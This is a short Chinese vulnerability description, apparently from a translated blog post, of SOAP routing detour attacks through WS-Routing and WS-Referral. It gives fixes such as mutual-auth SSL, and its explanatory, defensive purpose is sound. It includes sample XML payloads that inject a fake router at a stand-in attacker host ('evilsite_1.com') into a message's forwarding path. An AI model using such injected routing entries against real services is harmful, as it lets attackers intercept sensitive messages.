SOAP路由绕行漏洞

内容描述


WS-Routing Protocol是WS路由协议,通常用于通过一组中介从初始消息发送方到接收方交换SOAP消息的协议。 WS-Routing协议被实现为SOAP扩展,并嵌入在SOAP Header中。 WS-Routing通常用于通过允许XML路径中的临时路径站将路由指令分配给XML文档,来通过复杂的环境和事务来引导XML流量。

WS-Routing采用一种极简主义的方法,将消息路径封装在SOAP消息中,以便该消息包含足够的信息,可以使用TCP和UDP等传输器通过Internet发送,同时支持:

  • SOAP消息路径模型,
  • 全双工单向消息模式,
  • 全双工请求响应消息模式,以及
  • 消息关联。

绕行路由是“中间人”攻击的一种,其中可以注入或“劫持”中间人以将敏感消息路由到外部位置。 可以在途中修改路由信息(在HTTP标头中或在WS-Routing标头中),并且可以从标头和消息中删除路由的痕迹,这样接收应用程序就不会更明智地发生路由tour回。

主要问题


攻击者将一个虚假的路由节点(使用WS-Referral服务)注入到在“探索”阶段中标识的SOAP消息的XML标头的路由表中。 因此,攻击者可以将XML消息路由到攻击者控制的节点(并访问消息内容)

基于WS-Referral的虚假节点路由的WS-Routing注入示例


<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref> 

导致路由绕行攻击


 <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> 

后果


因此,使用路由绕行,攻击者可以将XML消息路由到受黑客控制的节点(并访问消息内容)。

一般修复


设计:指定请求的最大中间节点数,并要求具有相互认证的SSL连接。

实施:使用SSL进行相互认证的各方之间的连接

Source: https://habr.com/ru/post/zh-CN467681/


All Articles